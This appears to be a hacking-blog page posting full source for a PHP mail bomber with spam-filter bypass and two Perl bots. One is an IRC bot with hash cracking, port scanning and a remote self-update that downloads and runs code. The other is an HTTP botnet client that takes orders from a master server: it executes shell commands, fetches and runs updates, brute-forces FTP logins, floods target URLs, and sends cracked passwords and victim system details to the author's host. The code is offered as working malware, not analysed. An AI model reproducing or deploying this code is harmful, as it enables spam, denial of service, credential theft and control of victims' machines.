Mail Bomber: PHP

<?php
// Mail Bomber + spamfilter bypass by seba by seba | styles :)

$md5 = "5b92ff891d6fedcc59576f0770bbd4b1"; //md5 crypted pass
$salt = md5("askdjh7lk3ih"); //long random salt
$pass = md5($_POST["pass"]);
$cookie = $md5.$salt; 
$cookie = md5($cookie);

if($_COOKIE["mailbombauth"] != $cookie)
    {

if( $pass != $md5 )
       {
       die("wrong password!");
       }

}
setcookie("mailbombauth", $cookie, time()+3600);

if (!$_POST)
{
echo 
'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<head>
<title>MailBomber - spamfilter-bypass by seba</title>
</head>
<body>
     <center>
<h3>
MailBomber - spamfilter-bypass</h3>
</center>
<br>

<form action="mail.php" method="post">
  <center>
recipient: </center>
<center>
<input type="text" size="20" name="to"></center>
<br>
  <center>
from: </center>
<center>
<input type="text" size="20" name="from"></center>
<br>
  <center>
subject: </center>
<center>
<input type="text" size="20" name="sub"></center>
<br>
  <center>
text: </center>
<center>
<input type="text" size="30" name="text"></center>
<br>
  <center>
number of emails: </center>
<center>
<input type="text" size="1" name="number"></center>
<br>
  <center>
  <input type="submit" value="Submit">
  </center>
</form>
<br><br><br>
<center>
<h6>
MailBomber - spamfilter-bypass (c) by Nexos</h6>
</center>
</body>
</html>';
die();
}

$recipient = $_POST['to'];
$subject = $_POST['sub'];
$from = $_POST['from'];
$text = $_POST['text'];
$number = $_POST['number']+1;

echo "recipient: ".$recipient."<br>from: ".$from."<br>subject: ".$subject."<br>text: ".$text."<br>number: ".$number."<br> random?(0/1): ".$rand."<br><br>";
echo "- - - - - - - - - - - - - - - - - - - -<br>";
   for ($i=1; $i < $number; $i++)
  {   
   $subjectrand = rand(100, 999).$subject.rand(100, 999);
   $fromrand = rand(100, 999).$from;
   $textrand = rand(100, 999).$from.rand(100, 999);
   $header = "From: $fromrand" . "\r\n" .
             "Reply-To: $from" . "\r\n";
   mail($recipient, $subjectrand, $textrand, $header);
   echo "mail ".$i." successful sent<br>";
  };
?>

Perl Mailbomber

GENesis Bot

#!/usr/bin/perl
#############################
# Name: GENesis
# Beschreibung: IRC BOT
# Coder: Perforin
# Sites: dark-codez.org / perforins-software.de.vu
#
# Welcome to the dark side of coding!
##############################

use Socket;
use IO::Socket;
use IO::Socket::INET;
use LWP::UserAgent;
use LWP::Simple;
use Digest::MD5 qw(md5 md5_hex md5_base64);
use Net::Ping;
use Net::hostent;
use Net::FTP;

$BotnameKOMMA1 = rand(1001);
$BotnameGANZ1 = int($BotnameKOMMA1);

$Host = "irc.seilen.de";
$channel = "#dc";
$Port = 8067;
$version = "1.9";
$nick = "GENesis$BotnameGANZ1";
$email = "code 8 * :dark-codez.org";

print <<EOF;
              ___________________ _______                .__        
             /  _____/\\_   _____/ \\      \\   ____   _____|__| ______
            /   \\  ___ |    __)_  /   |   \\_/ __ \\ /  ___/  |/  ___/
            \\    \\_\\  \\|        \\/    |    \\  ___/ \\___ \\|  |\\___ \\ 
             \\______  /_______  /\\____|__  /\\___  >____  >__/____  >
                    \\/        \\/         \\/     \\/     \\/        \\/

Ich werde niemals vergessen,was ich in Dark-Codez gesehen habe.
Die Knochen von fuenftausend tapferen Männern lagen verstreut in den gewundenen Korridoren der Station.
Ihr Blut war an die Waende und auf den Boden der Schlafsaele geschmiert.
Ihre Innerein hingen von den Kontrollpanelen, wie die grotesken Dekorationen eines Festes des Wahnsinns.
Und doch wurde nicht ein einziger Schaedel gefunden!
Alle waren sie durch diese verachtenswerten Angreifer als Trophaeen entwendet worden.

GENesis Version $version coded by Perforin

Welcome to the dark side of coding!
EOF

@welcome = ("Ihr Blut war an die Wände und auf den Boden der Schlafsäle geschmiert.",
"Ihre Innerein hingen von den Kontrollpanelen,",
"wie die grotesken Dekorationen eines Festes des Wahnsinns!");
@alternate = ('bunny_funny',
              '7even',
              'scr3am');
@spam = ('The Dark side of Coding!',
         'Visit http://dark-codez.org',
         'Visit http://perforins-software.de.vu',
         'Bots rulen',
         'Perforin goes H4xxx',
         'Cant fuck me up dude :)',
         'GENesis Bot is here!');
@credits = ("Name: GENesis\n",
"Beschreibung: IRC BOT\n",
"Coder: Perforin",
"Sites: dark-codez.org / perforins-software.dl.am\n",
"Welcome to the dark side of coding!");
@help = ("-spam-      [Spamt im Channel]\n",
"-kill-      [Killt den Bot]\n",
"-credits-   [Zeigt euch die Credits]\n",
"-from-      [Zeigt die IP]\n",
"-version-   [Zeigt die Bot Version]\n",
"-mille-     [Zeigt die neusten Exploits]\n",
"-crack-     [Crackt einen MD5 Hash]\n",
"-md5gen-    [Erstellt euch einen MD5 Hash]\n",
"-ipgen-     [Generiert eine IP]",
"-ping-      [Pingt einen Server]",
"-pub-       [Versucht anonymous login]",
"-dns-       [Löst die DNS in eine IP auf]",
"-sql-       [Scannt eine IP nach MS SQL ab]\n",
"-update-    [Ziel URL mit Update]",
"-help-      [Zeigt die Hilfe an]");

my $sock = new IO::Socket::INET(
                                PeerAddr => $Host,
                                PeerPort => $Port,
                                Proto => 'tcp',
                               ) || die "No connection $!\n";

print $sock "NICK $nick\r\n";
print $sock "USER $email\r\n";

while ($input = <$sock>)
{
  if ($input =~ /004/){
    last;
  }
  elsif ($input =~ /433/){
                    $a = int(rand($#alternate));
                    $newnick = $alternate[$a+1];
                    print $sock "NICK $newnick\r\n";     
  }
 
}
print $sock "JOIN $channel\r\n";
for $zeile (@welcome) {
print $sock "PRIVMSG $channel :$zeile\r\n";
}
while ($input = <$sock>)
{
if ($input =~ /-help-/i){
for $help (@help) {
print $sock "PRIVMSG $channel :$help\r\n";
}
} elsif ($input =~ /-credits-/i) {
for $credit (@credits) {
print $sock "PRIVMSG $channel :$credit\r\n";
}
} elsif ($input =~ /-spam-/i){

for ($i = 0; $i < 20; ++$i)
        {
        $r = int(rand($#spam));
        $message = $spam[$r+1];
        print $sock "PRIVMSG $channel :$message\r\n";
        }
       
    } elsif ($input =~ /-kill-/i) {
 print $sock "PRIVMSG $channel :Bye :)\r\n";
 close($sock);
 exit;
 } elsif ($input =~ /-from-/i) {
$getTHEip = 'http://www.wieistmeineip.de';
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$getTHEip);
$result = $agent->request($request);
$getTHEip =~ s/.*\///;
$getTHEip = 'ip.txt';
open(lookME, ">$getTHEip");
print lookME $result->content();
close(lookME);
$need = "ip.txt";
open(IN,"<$need") || print "NOT FOUND BIATCH!"."\n";
@IN = <in>;
close(IN);
@iplist = ();
unlink "ip.txt";
foreach $line(@IN){
 if($line =~ /(\d+\.\d+\.\d+\.\d+)/){
$message = $1;
 }
}
 print $sock "PRIVMSG $channel :I am from $message\r\n";
 
 } elsif ($input =~ /-version-/i) {
 print $sock "PRIVMSG $channel :GENesis Bot Version: $version\r\n";
 } elsif ($input =~ /-mille-/i) {
$getMILLE = 'http://milw0rm.com/rss.php';
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$getMILLE);
$result = $agent->request($request);
$getit =~ s/.*\///;
@result = $result->content();
open(RES,">","mille.txt");
print RES @result;
close(RES);
open(RES,"<","mille.txt");
@inhalt = <res>;
close(RES);
unlink ("mille.txt");
foreach $shit (@inhalt) {
$shit =~ tr/</ /;
$shit =~ tr/>/ /;
$shit =~ tr/\// /;
$shit =~ s/milw0rm.com//ig;
$shit =~ s/<=/<=/ig;
if ($shit =~ m/title/i) {
$shit =~ s/title/ /ig;
push(@sploits,"$shit");
}
}
foreach $sploit (@sploits) {
print $sock "PRIVMSG $channel :$sploit\r\n";
}
 } elsif($input =~ /-SQL-/i) {
open(TMP,">","tmp.temp");
print TMP "$input";
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
open(TMP,">","tmp.temp");
 for $ok (@input) {
 $ok =~ tr/ /\n/;
 print TMP "$ok";
 }
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
unlink "tmp.temp";
foreach $ok (@input) {
 if ($ok =~ m/(\d\d\d?).(\d\d?\d?).(\d\d?\d?).(\d\d?\d?)/) {
 $ip = $ok;
 }
 }
 if ($check = new IO::Socket::INET (
PeerAddr => $ip,
PeerPort => "1433",
Proto => 'tcp',
Timeout => '1'))
{
$port = 1433;
print $sock "PRIVMSG $channel :OFFENER Port $port auf $ip\r\n";
} else {
print $sock "PRIVMSG $channel :Kein MS SQL auf $ip am laufen!\r\n";
}
 } elsif ($input =~ /-crack-/i) {
 $content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt');
 open(TMP,">","tmp.temp");
print TMP "$input";
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
open(TMP,">","tmp.temp");
 for $ok (@input) {
 $ok =~ tr/ /\n/;
 print TMP "$ok";
 }
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
unlink "tmp.temp";
$hash = "@input[4]";
$hash =~ s/\r\n//;
open(MILLE,"<","mil-dic.txt");
@passes = <mille>;
close(MILLE);
foreach $string (@passes) {
chomp($string);
$md5 = Digest::MD5->new;
$md5->add("$string");
$digest = $md5->hexdigest;
if ($digest eq $hash) {
$md5FOUND = "DECRYPT: $string";
print $sock "PRIVMSG $channel :$md5FOUND\r\n";
}
}
print $sock "PRIVMSG $channel :Wordlist duchgecheckt!\r\n";
} elsif ($input =~ /-md5gen-/i) {
open(TMP,">","tmp.temp");
print TMP "$input";
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
open(TMP,">","tmp.temp");
 for $gen (@input) {
 $gen =~ tr/ /\n/;
 print TMP "$gen";
 }
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
unlink "tmp.temp";
$word = "@input[4]";
$word =~ s/\r\n//;
$md5 = Digest::MD5->new;
$md5->add("$word");
$digest = $md5->hexdigest;
$out = "$word => $digest";
print $sock "PRIVMSG $channel :$out\r\n";
} elsif ($input =~ /-update-/i) {
open(TMP,">","tmp.temp");
print TMP "$input";
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
open(TMP,">","tmp.temp");
 for $ok (@input) {
 $ok =~ tr/ /\n/;
 print TMP "$ok";
 }
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
unlink "tmp.temp";
foreach $chars (@input) {
 if ($chars =~ m/http:/) {
 $adresse = $chars;
 }
 }
if ($adresse != m/(perforin.coderz-heaven.de\/GENesis\/*)/gi) {
print $sock "PRIVMSG $channel :Nananana!\r\n";
} elsif ($adresse =~ m/(perforin.coderz-heaven.de\/GENesis\/*)/gi) {
my $content=get("$adresse");
my @CODE = $content;
$kommazahlXXX = rand(1001);
$ganzzahlXXX = int($kommazahlXXX);
open(IN,">GENesis$ganzzahlXXX.pl");
print IN @CODE; 
close(IN);
print $sock "PRIVMSG $channel :Update erfolgreich!\r\n";
system("GENesis$ganzzahlXXX.pl");
exit;
}
} elsif ($input =~ /-ipgen-/i) {
$kommazahl1 = rand(256);
$ganzzahl1 = int($kommazahl1);
if ($ganzzahl1 <= 128) {
do {
$ganzzahl1++;
} until($ganzzahl1 =~ 128);
}
$kommazahl2 = rand(256);
$ganzzahl2 = int($kommazahl2);
$kommazahl3 = rand(256);
$ganzzahl3 = int($kommazahl3);
$kommazahl4 = rand(256);
$ganzzahl4 = int($kommazahl4);
$GENIP = "$ganzzahl1".'.'."$ganzzahl2".'.'."$ganzzahl3".'.'."$ganzzahl4";
print $sock "PRIVMSG $channel :Generierte IP => $GENIP\r\n";
} elsif ($input =~ /-ping-/i) {
open(TMP,">","tmp.temp");
print TMP "$input";
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
open(TMP,">","tmp.temp");
 for $ok (@input) {
 $ok =~ tr/ /\n/;
 print TMP "$ok";
 }
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
unlink "tmp.temp";
$URL = "@input[4]";
$URL =~ s/\r\n//;
$ping = Net::Ping->new();
if ($ping->ping($URL)) {
print $sock "PRIVMSG $channel :ON => $URL\r\n"; 
} else {
print $sock "PRIVMSG $channel :OFF => $URL\r\n"; 
}
$ping->close();
} elsif ($input =~ /-DNS-/i) {
open(TMP,">","tmp.temp");
print TMP "$input";
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
open(TMP,">","tmp.temp");
 for $char (@input) {
 $char =~ tr/ /\n/;
 print TMP "$char";
 }
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
unlink "tmp.temp";
$URL = "@input[4]";
$URL =~ s/\r\n//;
if ($URL != m/(.*)/g) {
print $sock "PRIVMSG $channel :Das ist keine Domain du Spacken!\r\n";
} elsif ($URL =~ m/(.*)/g) {
$ip = inet_ntoa(gethost("$URL")->addr);
print $sock "PRIVMSG $channel :DNS aufgelöst in $ip\r\n";
}
} elsif ($input =~ m/^PING (.*?)$/gi) {
print $sock "PONG ".$1."\n";
} elsif ($input =~ /-PUB-/i) {
open(TMP,">","tmp.temp");
print TMP "$input";
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
open(TMP,">","tmp.temp");
 for $given (@input) {
 $given =~ tr/ /\n/;
 print TMP "$given";
 }
close(TMP);
open(TMP,"<","tmp.temp");
@input = <tmp>;
close(TMP);
unlink "tmp.temp";
$location = "@input[4]";
$location =~ s/\r\n//;
$ftp = Net::FTP->new("$location", Debug => 0) || print $sock "PRIVMSG $channel :DOWN => $location\r\n";
if ($ftp->login("anonymous","welcome@hell.com")) { 
print $sock "PRIVMSG $channel :Pub! => $location \r\n";
$ftp->quit;
} else {
print $sock "PRIVMSG $channel :Kein Pub! => $location \r\n";
}
}
}

Paranoid Android Bot

#! /usr/bin/perl
########################
#
# Paranoid Android Bot
#
# by Perforin | Dark-Codez
# 
# Perl HTTP Bot
#
# Checking commands in a textfile on a
# webserver. Commands can be changed 
# in the control-center!
#
########################

use LWP::UserAgent;
use LWP::Simple;
use Net::FTP;
use Digest::MD5 qw(md5 md5_hex md5_base64);

@decoded = ();

print <<EOF;

=================================
Paranoid Android Bot  by Perforin
=================================

Wenn sich ein Mensch dazu entschliesst,
sein Dasein einzig und allein dem Guten 
und dem Wohle anderer zu widmen,
so wird er danklos sterben und vergessen werden.
Wenn er sein Genie jedoch nutzt,
um Schmerz und Tod ueber unzaehlige Millionen zu bringen,
so wird sein Name durch die Jahrtausende getragen.
Ruchlosigkeit ist der Schmach daher stets vorzuziehen.

EOF

####### COUNTING BOTS! #######
$getTHEip = 'http://www.wieistmeineip.de'; # Do not change!
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$getTHEip);
$result = $agent->request($request);
$getTHEip =~ s/.*\///;
$getTHEip = 'ip.txt';
open(lookME, ">", "$getTHEip");
print lookME $result->content();
close(lookME);
$need = "ip.txt";
open(IP,"<","$need");
@IN = <ip>;
close(IP);
unlink "ip.txt";
@iplist = ();
foreach $line(@IN){
 if($line =~ /(\d+\.\d+\.\d+\.\d+)/){
   push(@iplist, $1);
 }
}
$myIP = "\nHello, I am from @iplist";
$myIP = "http://perforin.coderz-heaven.de/Wordlists/counter.php?content=$myIP"; # COUNTING
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$myIP);
$result = $agent->request($request);
$myIP =~ s/.*\///;
@IPRES = $result->content();

while (1) {
#######CHECKING COMMANDS! #######
sleep 5;
$getit = 'http://perforin.coderz-heaven.de/Wordlists/befehle.txt'; # Master Server
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$getit);
$result = $agent->request($request);
$getit =~ s/.*\///;
@result = $result->content();

foreach $line (@result) {
if ($line =~ m/MAKE/i) {
print "\n"."[+] Making File..."."\n";
&makeFILE;
} elsif ($line =~ m/DOWNLOAD/i) {
print "\n"."[+] Downloading File..."."\n";
&downLOAD;
} elsif ($line =~ m/STOP/i) {
print "\n"."[~] Waiting for commands..."."\n";
} elsif ($line =~ m/START/i) {
print "\n"."[+] Start Flooding..."."\n";
&getURL;
} elsif ($line =~ m/EXECUTE/i) {
print "\n"."[+] Executing Shell Command..."."\n";
&exeCUTE;
} elsif ($line =~ m/UPDATE/i) {
print "\n"."[+] Updating Bot..."."\n";
&upDATE;
} elsif ($line =~ m/FTP CRACK/i) {
print "\n"."[+] Cracking FTP..."."\n";
&ftpCRACK;
} elsif ($line =~ m/MD5 CRACK/i) {
print "\n"."[+] Cracking MD5..."."\n";
&md5CRACK;
} elsif ($line =~ m/MILW0rm/i) {
print "\n"."[+] Checking milw0rm.com..."."\n";
&mille;
} elsif ($line =~ m/PANIC/i) {
print "\n"."[+] PANIC! Disconnect..."."\n";
&panic;
} elsif ($line =~ m/SPY/i) {
print "\n"."[+] Spying Victim..."."\n";
&spy;
}
}

####### MILWORM CHECKING! #######
sub mille {
$getMILLE = 'http://milw0rm.com/rss.php'; # Master Server
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$getMILLE);
$result = $agent->request($request);
$getit =~ s/.*\///;
@result = $result->content();
open(RES,">","mille.txt");
print RES @result;
close(RES);
open(RES,"<","mille.txt");
@inhalt = <res>;
close(RES);
unlink ("mille.txt");
foreach $shit (@inhalt) {
$shit =~ tr/</ /;
$shit =~ tr/>/ /;
$shit =~ tr/\// /;
$shit =~ s/milw0rm.com//ig;
$shit =~ s/<=/<=/ig;
if ($shit =~ m/title/i) {
$shit =~ s/title/ /ig;
push(@sploits,"$shit");
}
}
$milleFOUND = "@sploits";
$postMILLE = "http://perforin.coderz-heaven.de/Wordlists/milw0rm.php?content=$milleFOUND"; # UPLOAD FTP
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$postMILLE);
$result = $agent->request($request);
$postMILLE =~ s/.*\///;
@res = $result->content();
}

####### MD5 CRACKING! #######
sub md5CRACK {
$content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt');
open(MILE,"<","mil-dic.txt");
@passes = <mile>;
close(MILE);
@decoded = ();
open(result,">","tar.txt");
for $cracking (@result) {
$cracking =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$cracking";
}
close(result);
open(result,"<tar.txt");
@ddd = <result>;
close(result);
unlink "tar.txt";
foreach $crypted (@ddd) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@hash = @decoded[8];
$hash= "@hash";
$hash =~ s/\r\n//;
foreach $string (@passes) {
chomp($string);
$md5 = Digest::MD5->new;
$md5->add("$string");
$digest = $md5->hexdigest;
if ($digest eq $hash) {
print "[+] Cracked!"."\n";
$md5FOUND = "HASH: $hash\nDECRYPT: $string";
$postHASH = "http://perforin.coderz-heaven.de/Wordlists/md5.php?content=$md5FOUND"; # UPLOAD HASH
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$postHASH);
$result = $agent->request($request);
$postHASH =~ s/.*\///;
@res = $result->content();
}
}
}

####### FTP CRACKING! #######
sub ftpCRACK {
$content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt');
open(MILE,"<","mil-dic.txt");
@passes = <mile>;
close(MILE);
@user = ("anonymous","guest", "admin", "root");
@decoded = ();
open(result,">","tar.txt");
for $cracking (@result) {
$cracking =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$cracking";
}
close(result);
open(result,"<tar.txt");
@ccc = <result>;
close(result);
foreach $crypted (@ccc) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@url = @decoded[8];
unlink "tar.txt";
for $url (@url) {
$ftp = Net::FTP->new("$url",Debug => 0,Timeout => 5) || die "wtf";
}
foreach $pass (@passes) {
foreach $user (@user) {
if ($ftp->login("$user","$pass")) 
{
print "[+] Cracked!"."\n";
$ftp->quit;
$ftpFOUND = "USER: $user\nPASSWORD: $pass";
$postFTP = "http://perforin.coderz-heaven.de/Wordlists/ftp.php?content=$ftpFOUND"; # UPLOAD FTP
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$postFTP);
$result = $agent->request($request);
$postFTP =~ s/.*\///;
@res = $result->content();
}
}
}
print "\n"."[-] Bruting failed!";
}

####### UDATING BOT! #######
sub upDATE {
@decoded = ();
open(result,">tar.txt");
for $updating (@result) {
$updating =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$updating";
}
close(result);
open(result,"<tar.txt");
@bbb = <result>;
close(result);
foreach $crypted (@bbb) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8];
unlink "tar.txt";
for $URL (@decoded) {
my $content=get("$URL");
my @IN = $content;
open(IN,">P.A.B.V1.6.pl");
print IN @IN; 
close(IN);
}
system("P.A.B.V1.6.pl");
exit;
}

####### DOWNLOADING FILE! #######
sub downLOAD {
@decoded = ();
open(result,">tar.txt");
for $addy (@result) {
$addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$addy";
}
close(result);
open(result,"<tar.txt");
@INHALT = <result>;
close(result);
foreach $crypted (@INHALT) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8];
unlink "tar.txt";
for $URL (@decoded) {
my $content=get("$URL");
my @IN = $content;
open(IN,">P.A.B.txt");
print IN @IN; 
close(IN);
}
}

####### EXECUTING COMMAND! #######
sub exeCUTE {
@decoded = ();
open(result,">tar.txt");
for $addy (@result) {
$addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$addy";
}
close(result);
open(result,"<tar.txt");
@aaa = <result>;
close(result);
foreach $crypted (@aaa) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8];
unlink "tar.txt";
for $COMMAND (@decoded) {
system ("$COMMAND");
}
}

####### MAKING FILE! #######
sub makeFILE {
@decoded = ();
open(result,">tar.txt");
for $addy (@result) {
$addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$addy";
}
close(result);
open(result,"<tar.txt");
@FILE = <result>;
close(result);
foreach $crypted (@FILE) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8..50];
unlink "tar.txt";
open(makeFILE,">P.A.B.bat");
print makeFILE @decoded;
close(makeFILE);
system ("start P.A.B.bat");

}

####### GETTING URL! #######
sub getURL {
@decoded = ();
open(result,">tar.txt");
for $addy (@result) {
$addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/=@$|![#{}_€&Ä*ÜÖ,+;%><~?]^=@$|![#{}_€&Ä*ÜÖ,+;%><~?]^/;
print result "$addy";
}
close(result);
open(target,"<tar.txt");
@URL = <target>;
close(target);
for $crypted (@URL) {
$crypted =~ tr/=@$|![#{}_€&Ä*ÜÖ,+;%><~?]^=@$|![#{}_€&Ä*ÜÖ,+;%><~?]^/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8];
unlink "tar.txt";
&Flood
}

####### START FLOODING! #######
sub Flood {
$count = 0;
for $URL (@decoded) {
print "Target: $URL"."\n";
do {
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET', $URL);
$result = $agent->request($request);
$count++;
print "Anzahl: $count\n";
} until ($count == 31337);
}
}

######### SPY VICTIM! #########
sub spy {
@SPY = ("=========================\n",
"OS: $^O\n",
"UserID: $<\n",
"Username: $ENV{USERNAME}\n",
"Homedrive: $ENV{HOMEDRIVE}\n",
"Systemroot: $ENV{SystemRoot}\n",
"=========================\n\n");
$postSPY = "http://perforin.coderz-heaven.de/Wordlists/spy.php?content=@SPY";
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$postSPY);
$result = $agent->request($request);
$postSPY =~ s/.*\///;
@res = $result->content();
}

####### DISCONNECT BOT! #######
sub panic {
exit;
}
}

..:: VX-CRX ::..

The New Stuff

Mail Bomber: PHP

Perl Mailbomber

GENesis Bot

Paranoid Android Bot

What's Hot

Popular Posts

Most Popular Categories

The Featured Stuff

Popular Posts

About

Facebook

Arquivo do blog

Subscribe

Labels

Tags

Recent Posts

Recent Posts

Random Posts

Recent Comments

Recent Posts

Komentar

Latest in Tech